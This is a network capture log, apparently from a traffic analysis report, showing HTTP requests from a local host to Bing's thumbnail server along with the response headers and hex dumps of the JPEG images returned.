2024-11-05 19:50:54 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 644477 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 2788E7B1231D44E085CEFDCEC03B4E79 Ref B: DFW311000107017 Ref C: 2024-11-05T19:50:54Z Date: Tue, 05 Nov 2024 19:50:53 GMT Connection: close
2024-11-05 19:50:54 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a 22 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 30 39 3a 31 32 3a 30 34 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``"ExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 09:12:048
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: e5 62 59 38 fd 46 6a 4b 8f 04 5b 68 96 b1 ff 00 63 69 9e 63 46 c7 f7 6d 26 de bd cf f7 ab ae 9d 49 72 da 5b 1c 55 68 45 49 4a 27 11 ac 21 bb b8 9e ca 58 ae 65 f9 56 65 82 36 3e 5e 01 c6 d1 db 71 eb 8a e9 3e 1a cd 61 a4 7d ab 4f 97 50 fb 35 b4 f2 c7 24 76 9e 66 d6 62 0f 52 3a fe 14 fb 6d 2a fd ed 7e d3 e2 1b 6b 28 9a 3b b5 48 96 0c ef 93 70 38 cf b0 aa 50 f8 62 db 53 f1 04 f7 77 0d 3d 9c 4d f2 44 bf 75 a3 74 e0 9e 72 30 6b 2c 44 a1 4d 7b 49 3d 8c 65 76 d5 96 a7 b6 c3 20 31 ab fd ed d5 67 60 f9 4f 6d bf c5 5c 3f 84 75 31 65 aa 5c e9 17 77 2d 23 44 c0 af 98 df 74 11 d0 7e 15 da 2d ca 4a aa 77 2e 36 fc d5 34 eb c2 a2 e6 8b d0 da 2d 3d 8b 88 10 43 c2 ab 1f ef 52 bc 9e 5f c9 1f fc b4 5c ee db f7 6a b2 cf b3 76 f5 55 1b 7e 5f 9b e6 cd 4b 1d fc 17 0b 1f 97 2e e1 Data Ascii: bY8FjK[hcicFm&Ir[UhEIJ'!XeVe6>^q>a}OP5$vfbR:m*~k(;Hp8PbSw=MDutr0k,DM{I=ev 1g`Om\?u1e\w-#Dt~-Jw.64-=CR_\jvU~_K.
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 3b 46 9b a3 42 3e ee ee b8 ef ed 5e 7f a5 6b 7a cf 85 fc 41 7d 2c f0 5b 5c 45 b8 bc 5e 6b 06 93 19 1d 3d 73 ff 00 b2 d7 7b 67 e3 e8 9f 4f 67 bb 8a 39 24 65 1e 5a ee 1b 72 47 dd f7 1f 85 7b 99 16 23 0f 4f dc 51 d5 ff 00 5d 4f 23 1f 85 ab 52 1c ce c9 18 3e 21 d3 fc eb 7f b6 d9 b2 dd 4a b1 b1 68 23 62 aa df de 24 9e 38 f4 18 c9 ac ed 7b 57 b0 d2 ac 6d ad 6c 16 39 2e 26 88 3c f0 34 a3 ce 5c f1 bb 3d 39 e9 8a dd d4 b5 ed 2e f6 19 0f d9 be ca 2c e0 92 4b d8 e0 90 2c 6d 8e 81 40 ee 47 e2 2b c3 7e 26 26 8d 73 f6 9b bd 3a 76 d2 2e a4 89 a4 92 59 27 f9 64 02 3d ea ac 07 1b 89 e3 23 bd 7b b5 72 ac 0e 26 9c b9 e9 ab bf 96 bf 23 c7 94 f1 34 a5 1e 49 b7 67 df f0 3d 42 c3 e2 96 84 f2 5b 41 22 c1 2c ad 03 0f ef 32 95 c8 03 6f 1d 7d 6b 92 d5 7e 23 6a 9f e9 31 41 2a fd 9d Data Ascii: ;FB>^kzA},[\E^k=s{gOg9$eZrG{#OQ]O#R>!Jh#b$8{Wml9.&<4\=9.,K,m@G+~&&s:v.Y'd=#{r&#4Ig=B[A",2o}k~#j1A*
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 8f b1 aa 13 5b a5 d7 9f 14 57 3c ae 03 2e ef bc 6b 39 c5 b7 72 92 4f d4 aa b6 02 75 53 72 ac b2 b3 67 6c 72 15 dc 7d 4e 2a 2b 3b 9b 08 6e 22 8e 39 65 f3 24 cf de f9 ba 71 cf f4 a2 4b d2 6e 1a ce de 58 db e5 f9 76 fc dc 7f 4a e6 d3 c5 b0 58 47 73 11 b3 b9 92 e2 09 58 34 51 c6 14 aa 6f c0 ce 7f c9 a9 a9 59 52 4a 4f 62 55 37 27 64 75 1a d5 bc 4d 6e a5 ed 7c f1 1c a1 d7 cb fb ca 7d 45 2a dd 96 5d 86 35 53 1b 0d bb 9b f9 56 5e 9f e2 47 bd b5 69 4d 8c f1 af 97 98 e4 97 e5 59 3f c3 15 e6 3e 38 83 e2 24 3e 36 6d 63 44 66 9f 49 b9 da 56 28 f0 dd 07 3d f8 cd 15 2a 4f 47 05 72 54 54 77 3d 82 fa 4b c7 5f f4 68 be 56 fb d2 6e f9 57 fc 69 b6 d7 b1 96 c1 da b2 2b 6c 91 57 f8 4f 6a e6 fc 3d 73 a9 de c7 15 c5 ce e8 0c 8a 3c c8 a6 5f 97 f0 c7 ad 41 e2 db fb 9d 3e fb 4f 8e Data Ascii: [W<.k9rOuSrglr}N+;n"9e$qKnXvJXGsX4QoYRJObU7'duMn\|}E]5SV^GiMY?>8$>6mcDfIV(=*OGrTTw=K_hVnWi+lWOj=s<_A>O
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 95 36 1a 6f 97 2d cc f7 3e 5e 51 24 e1 4b 0e a0 e0 71 bb de b6 a3 98 ac 6a e1 b7 6e e7 6c 9f c4 2b 84 b0 d7 ed e5 b5 63 2d ce d6 8d 71 bb f8 57 d3 a7 7f 7a da d3 ee ad 12 fa 3b 87 6f b4 dd 79 60 47 23 7f 08 1e 9f 5f 4a 4e 2a e5 f3 3b ab 1d 55 85 f9 97 50 96 08 e2 9d 63 55 07 f7 8a 17 77 fb be d5 a1 67 3d db 59 ac 92 a6 d9 57 ef 79 7f 77 f0 cf b5 63 58 4b 89 b2 65 59 37 70 aa ab eb da b6 2d c8 da c9 1f f1 60 7d ea 4e c2 f7 8b f6 e5 25 da e6 5d a5 b3 4e 92 f1 06 d8 e3 dd f7 88 dd b8 75 e9 cd 41 0b 22 b3 09 e5 5d aa bf f0 1c 8a 7d 9d ad bf 9d e6 a2 fc cd 93 23 33 7a f7 c5 08 99 48 a7 23 cb 15 c4 82 56 dc ac df 2f e3 da 99 aa 5d ce 96 b2 9b 44 f3 64 8d 49 f2 ff 00 bd ed f5 ad 0b c8 63 dc ce fb 70 b8 3f 2a f7 aa cf e5 47 26 3e 56 91 94 ee 55 ff 00 1a ad cc 5b Data Ascii: 6o->^Q$Kqjnl+c-qWz;oy`G#_JN;UPcUwg=YWywcXKeY7p-`}N%]NuA"]}#3zH#V/]DdIcp?G&>VU[
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: c7 04 57 d1 d2 54 a5 07 34 b5 3c 49 7b 48 d5 51 7b 1e d7 1c 70 2c 8a eb 2b 48 dd 16 ad 33 be ed 87 a2 af ca db be 6c 9a c5 8e fe 29 2d e2 bd 8a 25 68 e4 8e 39 63 91 be f6 c6 19 38 fa 54 f1 cc b7 17 0d 1b ac 92 24 6b bd 59 54 ed e7 a7 22 b9 39 92 76 3b 1d 3b ab b2 e5 bc 33 99 18 49 2f fa b6 c7 fb 5f 9d 49 31 96 38 d9 12 2d df ed 6d ed ed 4d 69 cb 2f 9b 3f ca 1b ee ee 5d bf 81 cd 3a 69 92 6f 90 7f ab db fc 3f c5 5a 27 a1 8c a2 41 34 e9 71 6f 1b 89 5b d5 95 7e 5f c0 d4 12 31 68 77 ee 55 6f ef 37 e5 8a 65 bd 84 76 ac c6 db e4 86 59 0b ed 6f bc a4 9e d4 ed ae cb c6 d6 da d5 69 e8 67 63 3a 28 ae 0d c3 09 76 ac 7c ee 55 6f 95 87 af ad 45 34 76 db 64 79 56 39 0f 98 7c a6 6e ab c7 a9 fa 55 eb f0 55 54 16 5c ee 02 a9 48 b1 49 67 22 05 dc ca c4 aa ed 3d 7d b3 45 92 Data Ascii: WT4<I{HQ{p,+H3l)-%h9c8T$kYT"9v;;3I/_I18-mMi/?]:io?Z'A4qo[~_1hwUo7evYoigc:(v\|UoE4vdyV9\|nUUT\HIg"=}E
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: b7 b6 2b d5 bc 31 e1 d3 aa da c5 77 7b 12 b4 9e 5e 57 72 ed db eb 8f 7a df 0f 59 ca 92 93 5a 1c f4 68 c6 4f dd 39 ad 2b c3 96 56 1a 2c 86 05 65 0b c7 fa c1 f3 1e fd 6b 03 e2 56 a9 3e 9f 0c 02 d3 cc 53 2c 4a b7 72 47 f7 b2 38 c0 fa f7 af 68 b8 f0 8d 9b 79 72 18 9a 32 bf eb 19 9b e5 c7 af d6 b9 2f 19 7c 38 8e fa 1b e4 b3 96 36 92 58 97 c8 f3 32 de 5f cd 97 23 fd e0 31 5e 56 3b 0b ed ea c2 a5 be 17 f9 e8 77 4f 08 a5 4b 96 fa 9e 4d e1 8f 15 5c 5e 6a 8b 61 7b 3c f1 f9 6c 53 6a fd e6 f4 38 3c 57 a8 e9 7e 2c 3a 7a c4 97 76 8c b6 cb 1b 09 24 89 77 79 7d f9 f5 ce 6a 96 83 f0 f6 cb 47 be 94 4f 62 bf 6c 8a 30 92 2e e1 22 6f 1d 86 7e b4 93 78 6f 5c 5d 4a 4b 4b 78 3c fb 1f 30 cd 23 6e dc f9 70 3e 5d dc 0f fe b5 7a 54 e2 f9 6c 45 0a 3e c2 37 bd ee 5b b5 f0 67 87 bc 53 Data Ascii: +1w{^WrzYZhO9+V,ekV>S,JrG8hyr2/\|86X2_#1^V;wOKM\^ja{<lSj8<W~,:zv$wy}jGObl0."o~xo\]JKKx<0#np>]zTlE>7[gS
2024-11-05 19:50:54 UTC	16068	IN	Data Raw: b9 c6 36 7c a8 e0 a7 cd bc 8f 46 92 e2 38 db 0e dc 6d cb 7e 35 73 4f 92 d0 d8 e6 db e6 f3 33 f3 57 93 f8 8b 4b d7 6c bc 41 2f 88 ce b5 27 f6 5f ca 1e c9 b2 db 9c 9e dd b6 e0 56 a5 bf 8f ec 34 6d 2e d8 6b 2d e5 49 7c cc 60 f2 94 b2 c8 57 03 6f ae ee 7a 62 b9 a9 73 29 25 24 15 5a d5 26 7a 96 8b ab db c9 62 a6 26 93 e5 e3 fd ac d5 94 d5 ed 24 d4 20 d2 ee d5 a4 96 eb 3e 5e e6 0a 98 c1 2d c7 5e 05 71 f6 17 c2 19 24 91 11 64 32 ae 76 ee da aa 6a 4b ab 9b 8b 6d 3e 4d 50 db 79 f7 93 c4 61 8a 5f e0 b7 43 f7 b6 8e b5 d1 88 e7 56 71 66 38 58 c2 4e d2 0b 83 65 6f 24 f1 d9 ca de 5c 8c 7f 7b 22 fc cc 33 eb 5e 63 e3 2f 03 c8 75 4b 9d 43 c3 76 71 c5 25 cb 12 d0 4a bf 24 c7 af e1 f8 d7 68 a6 e7 cb 89 e7 6f 33 77 ca bb 7e 5d b5 5f 5a bc 96 05 8c 16 56 b8 59 37 ee dd b5 54 Data Ascii: 6\|F8m~5sO3WKlA/'_V4m.k-I\|`Wozbs)%$Z&zb&$ >^-^q$d2vjKm>MPya_CVqf8XNeo$\{"3^c/uKCvq%J$ho3w~]_ZVY7T
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 3c 26 28 2c ed e4 91 a1 82 2f 3e 37 f3 01 fb ad 85 3c 67 d3 35 89 f1 13 57 8b 4e 99 4d a7 cd e5 c6 de 7a ed f9 24 dc 7a 91 fd 2b 5a 77 92 57 67 0e 2e 9d 93 ba 32 34 9b 0b 97 56 b8 92 da 0b 66 58 d7 6c 71 e3 cb d8 dd 19 71 f7 4f a8 ad 4d 40 dd bb 3a 25 b4 0c ab 2f cd b5 42 a6 15 3a 9f 56 27 f8 6a b7 86 3c 45 6b 7f 6f f6 78 a7 8f 2a ab e6 37 f0 29 1d bf fd 55 06 97 0d c7 f6 a6 a7 3d a4 f7 d2 c9 15 eb 24 51 79 7e 66 d8 d4 fc ec 07 ae 4f 15 a4 9b 84 76 27 0f 15 24 b9 4c ad 2f 54 16 ba f2 ca 8b 1c 72 41 21 32 6d ca b6 4f ae 7b 57 a2 be ad 11 b3 57 8e 55 8d 56 03 27 ca c3 6e 4f bf 6e 2b cc 9b 4d 13 46 d7 93 c1 3c 57 11 c8 5d a4 dd f2 c9 ea d8 fd 3b 55 3b 78 75 dd 6b c4 cb 10 d3 da 4b 65 89 83 79 19 55 62 a3 80 03 10 3f fa dc d7 9d 2c 3d 57 1b 5c f4 e8 d6 8c 53 Data Ascii: <&(,/>7<g5WNMz$z+ZwWg.24VfXlqqOM@:%/B:V'j<Ekox*7)U=$Qy~fOv'$L/TrA!2mO{WWUV'nOn+MF<W];U;xukKeyUb?,=W\S
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: a8 38 00 fb 9e be d5 ca 5e 24 76 32 5c c5 0b 79 ab 1c a7 ca 66 fb db 33 f2 9f c2 b5 56 e2 e3 55 b3 d3 6d ac d9 60 99 64 3b be 6f bd d8 e7 b7 e1 55 ee 74 6b c8 35 69 60 92 09 24 56 57 f3 16 5f 97 77 d0 8e 0d 6f 0b a4 63 52 d2 2a df b0 31 c1 25 c2 b6 36 e7 72 fc dd 3d 6a 45 08 de 51 9d 99 44 8c 1e 46 fe e8 3f fd 6a 83 58 8a 48 74 d8 23 ff 00 58 65 52 76 b7 dd 5f 6f ca a0 b1 57 9b 74 62 56 6d aa 36 ff 00 b3 eb 4e 73 48 9a 74 db 65 bb a6 8e 5f 90 4a d9 56 3b 5b 6f cd c7 4a bd 63 1c b2 59 c4 f3 cb ce dc 7c be 95 0d ad b2 24 9c ed 69 1b f8 aa fe 26 8a d6 39 63 89 55 57 f8 bf 87 8a e5 55 1c dd 8e df ab c6 0a ed 96 2d 65 36 32 47 be 7f 29 5a 4f f9 66 bf eb 07 5e 9d cd 67 de 5e 49 23 62 35 f3 3a 95 db f3 32 8c f5 ac bd 6f 55 4b cb c8 e2 85 59 bc b6 d8 d2 2f dd 6c Data Ascii: 8^$v2\yf3VUm`d;oUtk5i`$VW_wocR*1%6r=jEQDF?jXHt#XeRv_oWtbVm6NsHte_JV;[oJcY\|$i&9cUWU-e62G)ZOf^g^I#b5:2oUKY/l

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49721	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:50:54 UTC	346	OUT	GET /th?id=OADD2.10239381714323_11S06446Z442STKF6&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-05 19:50:54 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 621702 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: ACA9E2B06F7744FBAD94203AE796D224 Ref B: DFW311000107053 Ref C: 2024-11-05T19:50:54Z Date: Tue, 05 Nov 2024 19:50:53 GMT Connection: close
2024-11-05 19:50:54 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1c 98 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 30 39 3a 31 31 3a 30 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 09:11:058
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 24 72 99 3c b7 fe 2c 6d 6a db b0 b7 7f 2d 52 35 e3 6d 64 43 76 3c 9f 2c af fb bb bf 84 d6 ee 8e 26 12 65 3e 68 fa d6 8a 3a a5 d0 c7 9f dd 6c b5 6f a7 49 d6 4a 95 ec a2 6e 5d 77 6d fe 2a b0 f7 21 61 6d ff 00 29 ac bb 9d 48 a6 e7 0d c7 45 fa d6 af 95 23 17 27 7d 4c cd 52 1c 5d 28 0d f2 b3 7c df ec d7 55 e0 79 ad 8d bf f6 64 92 b7 96 b9 78 ff 00 a8 ae 76 18 9a ee e1 4c 8b b4 7f 7b fb b5 d2 69 3e 1f bd b8 ba 58 34 ad df 37 de 95 b8 db 9a f3 67 51 cd e9 b1 a5 2a 8e 2e f1 45 9b 1b 3f b5 59 dc c5 13 79 7b a5 3b 77 7f 3a e8 fe 14 e8 c3 46 9a e8 fd ef 3f 1f bc 6f ba de d5 7b c3 3e 11 b4 d2 57 cd bd 9d a7 95 b9 db bb e5 cd 6c cd 71 07 96 b1 c6 aa ab b8 05 db ef c5 65 5e 2d d1 6d ee 7a 38 6d 6a c5 b5 a9 c1 f8 89 03 cd 79 24 fb 56 36 dc 23 da de 95 81 a7 ea 17 30 5c Data Ascii: $r<,mj-R5mdCv<,&e>h:loIJn]wm!am)HE#'}LR](\|UydxvL{i>X47gQ.E?Yy{;w:F?o{>Wlqe^-mz8mjy$V6#0\
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 73 2a 1d 2e d2 16 56 10 2c 67 77 f0 fd da b6 b0 c6 db 93 6f 15 2b ec db 55 de 41 d4 7c a5 6b 44 db 33 e5 4b a1 1b 69 f6 d1 4c d2 88 b7 33 7d ed df d2 b2 35 5d 3f 50 b8 be 8e e2 3d 42 58 a2 8f fe 58 47 f7 5b 9e a7 de b7 da 41 2c 6b bf 6a 95 fe 2f ef 55 5b 89 44 31 b1 76 e1 79 dd 58 e2 74 a3 27 72 a9 c5 39 24 70 3a 96 95 aa 5c 4d 22 5e fc b1 c6 db fc d8 d8 7e fb 27 b8 f5 15 1c 36 12 69 f6 f2 07 d5 e3 6b b9 72 63 f3 17 e4 50 3f 5a 67 fc 24 f7 ba 86 b1 2c 49 63 fe 83 b8 85 92 55 d9 bb fa d6 7d d6 af 73 a8 f8 a3 fb 1e cb 4f 59 e5 8d 33 1b 2b 6e 66 dd cf 1d b0 05 79 30 a7 59 d3 f6 dc a6 92 85 3b b8 ad f6 2c 5e 5d 78 96 ce e2 0f b2 41 6d 24 4c b9 96 54 60 bb be 9d ea f6 93 7b 25 e5 9b 47 6d 2d cc b1 79 a0 b7 9f 39 f9 bf bc 3d 6a 4b 1f 0d f8 a2 f1 64 4b 88 23 8a Data Ascii: s*.V,gwo+UA\|kD3KiL3}5]?P=BXXG[A,kj/U[D1vyXt'r9$p:\M"^~'6ikrcP?Zg$,IcU}sOY3+nfy0Y;,^]xAm$LT`{%Gm-y9=jKdK#
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 71 bb fb be e2 93 c2 3e 0e 3a 65 f3 5c 4f 2f 9a 63 c6 d6 fe b5 da 58 69 a6 1e ab f7 7e ee da 4d 49 2d a1 b5 67 bc da b1 71 eb f8 1e 29 54 95 b6 1c 20 b7 64 3b 4c ec d1 86 68 f6 e3 ee fa d4 7a a2 f8 c2 f2 39 65 b3 b9 b6 93 6e 51 63 5f dd ae 08 18 fc 46 de b9 a4 4b 88 df e7 81 bf 76 bf 77 6f a7 ae 6b a8 f0 dd b1 93 4d 91 dd b6 f9 ec 0c 7f 85 79 f5 aa 4e 1a c7 73 d2 85 28 4e dc c7 93 f8 9a 6f 10 eb 4d f6 3d 43 cc 59 20 93 ef 33 7d ee 30 72 7f 8b 15 83 e2 0d 1a 7b 16 67 b7 69 19 a3 8c 7d e6 f9 59 ce 70 71 ec 2b d4 7c 75 64 17 50 92 78 7e 53 27 f1 57 29 e2 65 21 62 f4 db 57 42 b5 4a ed 73 13 5b 0d 4a 8c 1f 2a 38 fd 1f 50 f1 3c 93 36 27 92 35 6c 06 59 17 e5 f7 c5 7a 56 95 70 45 bc 6b 2c aa b2 32 8d cb bb ef 11 5c cd 89 4d b9 da b9 ad 8b 0f de 6d 40 bb 8e ef e2 Data Ascii: q>:e\O/cXi~MI-gq)T d;Lhz9enQc_FKvwokMyNs(NoM=CY 3}0r{gi}Ypq+\|udPx~S'W)e!bWBJs[J*8P<6'5lYzVpEk,2\Mm@
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 45 24 64 45 1f 96 17 69 fa fa 57 4d f0 e5 64 4f 0d dc cb 73 fe b6 59 d4 36 e5 0a ab b4 67 b7 a1 35 81 24 e8 8a b2 6e f9 57 fb ab bb ad 76 fa 1a db da f8 4e d8 16 ff 00 5a a6 46 5f f7 8e e3 5c 78 a8 aa 89 43 b9 d5 86 7c 8d c8 f2 cf 14 69 51 cf e2 6b a9 4f 98 de 7c 83 6a ee f9 98 b1 ef ec 28 d7 ad e2 8a 49 22 83 6f 97 d3 fd 96 c0 ae c7 56 16 0b a8 49 78 8b 1f 9b 1c 65 d5 b7 7d de 38 fc 4d 71 77 f7 10 4b 70 c7 e6 5f 98 1d bf 51 cd 52 a6 a2 cd 15 46 d1 4b 45 97 c8 d4 ad a5 1d 63 9f e6 66 fe 10 46 2b bd b7 72 5b 23 e6 2a b8 da ad f7 ab ce a3 61 73 78 c2 3f 95 64 c1 8f f0 af 44 b1 de 23 c6 e5 f9 7f f1 e1 5a d1 8e e6 58 99 2d 0b 39 27 68 ed bb ee b7 a5 55 ba b3 8a 46 c2 7b fc cb 8d dc f6 ad 04 02 4b 59 1f 72 af 97 19 76 6f ee 81 d6 a8 e8 f7 1a 65 e5 8f da ec ee Data Ascii: E$dEiWMdOsY6g5$nWvNZF_\xC\|iQkO\|j(I"oVIxe}8MqwKp_QRFKEcfF+r[#*asx?dD#ZX-9'hUF{KYrvoe
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: fe b5 d8 68 ba 92 de e9 f1 dc 48 ad 1e ef 91 95 bd 7a 76 f7 ae 6e 4d 15 2d ae 96 4f dd b0 93 26 48 d5 77 75 ee 3d 2a 77 93 6c 2b 67 12 fe ee 4f e2 93 ee b6 7e f0 1e f5 94 a5 c9 24 ba b2 1d db d4 ea 1a 60 59 5e 35 65 1b 41 fe f5 32 49 63 b7 ff 00 5b 3a c7 fd d5 6f 4a e5 2d f5 89 ec f4 ff 00 b4 bd b4 f2 b3 4b e5 ac 51 fc ec bb 4e 32 7b 8f a5 74 de 55 be a1 0a c7 2c 4b 26 dc 3a ab 2f cc a6 b4 6d de c5 c2 cc 8a e6 5b b4 68 cc 16 ca d1 ed cb 49 e6 00 dc fa d5 a9 25 75 87 cf db b8 aa e7 f7 7f 35 39 6c a2 65 c4 9f bc 2a df c5 f9 d1 79 72 90 48 b0 ed 65 59 17 ef 2a ee e7 d3 da a4 d9 a1 13 61 db 71 23 79 7e 6a fd da cb d6 a3 96 e7 52 b6 4b 7d db 57 f7 8c cb 26 dd b8 e9 95 fe 21 5a 17 c4 42 ad 3f 94 d2 46 ab f3 2c 7f 7b 9e c3 35 c4 c8 97 83 54 b9 92 dd 9a 05 93 27 Data Ascii: hHzvnM-O&Hwu=wl+gO~$`Y^5eA2Ic[:oJ-KQN2{tU,K&:/m[hI%u59leyrHeY*aq#y~jRK}W&!ZB?F,{5T'
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 5f f9 67 9f e2 5f e5 53 68 7e 2e d4 57 4b 51 6f a1 da 5b 49 cb 47 f3 17 dc 07 5c 8a d6 b0 31 dc ac 40 4b ca e4 ee 6f 95 98 7a 1c d6 ff 00 86 ed b4 89 f5 0f b0 3f 97 14 92 36 55 b6 85 dc 7d 3e a6 b3 c4 e5 f4 ab 4d 54 49 26 6f 09 62 28 e9 09 68 71 d0 9f 19 f8 9d 56 52 cb 67 6b 1b 65 76 ae c7 6e e3 1f 4a da 4d 1e c9 6d e4 3a c5 cb 4f 77 2c 7e 77 98 bf 7d 82 f5 da 3f ce 6b d4 ac f4 7b 78 63 54 45 5d aa bf 2d 3d 74 7b 29 2e 16 73 02 f9 91 2e 23 6d bf 76 aa 14 29 52 49 6e cc a3 42 73 97 3c db 6d ff 00 5b 6c 73 da 0e 8d 69 1d ac 4e 8a ca 36 fc ac de 86 b6 23 b1 b7 8e 3f 2e 38 b7 0f f6 ab 52 4b 18 8c 78 7e 9b 81 f9 7d aa 64 40 17 62 6d 51 5b 73 c5 2b 45 68 6b 1a 5d 6e 63 c3 a6 44 93 34 b1 c4 ab 24 9f 79 bf bd 52 ff 00 65 db 8b 8f b5 c9 12 f9 cb 1e 16 4f e2 c7 a5 Data Ascii: _g_Sh~.WKQo[IG\1@Koz?6U}>MTI&ob(hqVRgkevnJMm:Ow,~w}?k{xcTE]-=t{).s.#mv)RInBs<m[lsiN6#?.8RKx~}d@bmQ[s+Ehk]ncD4$yReO
2024-11-05 19:50:54 UTC	16067	IN	Data Raw: 94 9d ad fc 55 a3 e2 6f 1e 4b 25 af 98 25 f2 c6 e3 b7 a7 e7 58 b6 01 bf b2 e5 d3 b4 fb 19 e7 96 4f bd 22 b0 dc bf 8f b5 53 f0 de 95 67 6d ab 48 fa ea ac 7e 54 7f bb 8e 5c ba b1 fa 2f 00 e3 d6 b2 a7 74 af 75 72 65 52 f4 dc 62 ad 13 a3 d2 fc 75 25 c5 f4 44 6e 6d d8 dd f8 57 49 ff 00 09 35 cd dc cd 6d 60 90 2c db 77 af cd f7 47 73 b6 af f8 3f c2 96 fa be 9f 1e a8 f6 76 d1 69 52 c1 96 58 98 2d c4 c4 1c 2a f1 9d 8b f8 e7 e9 56 f5 0f 0e 78 5a d7 4f fe cf 5d 16 da 39 27 e1 9a db 2a f1 fd 5c 9c 9f e5 5c dc b3 ad 3f 75 d8 f4 28 e1 ea d3 a7 ef bd cf 3a f1 75 b6 ab ac 4d 14 b6 73 cf 38 5c b7 ef 57 cb dc 33 cf 3c 0a f5 7f 82 b6 b7 73 f8 7d be d7 2a c8 de 60 0b e5 b6 ff 00 90 7f b4 6b c2 3e 22 0d 43 42 d6 1a c2 2b 99 e5 10 7d cf 9b e5 64 3d 3e 95 d8 fc 13 f1 c5 ee 9f Data Ascii: UoK%%XO"SgmH~T\/tureRbu%DnmWI5m`,wGs?viRX-VxZO]9'\\?u(:uMs8\W3<s}*`k>"CB+}d=>
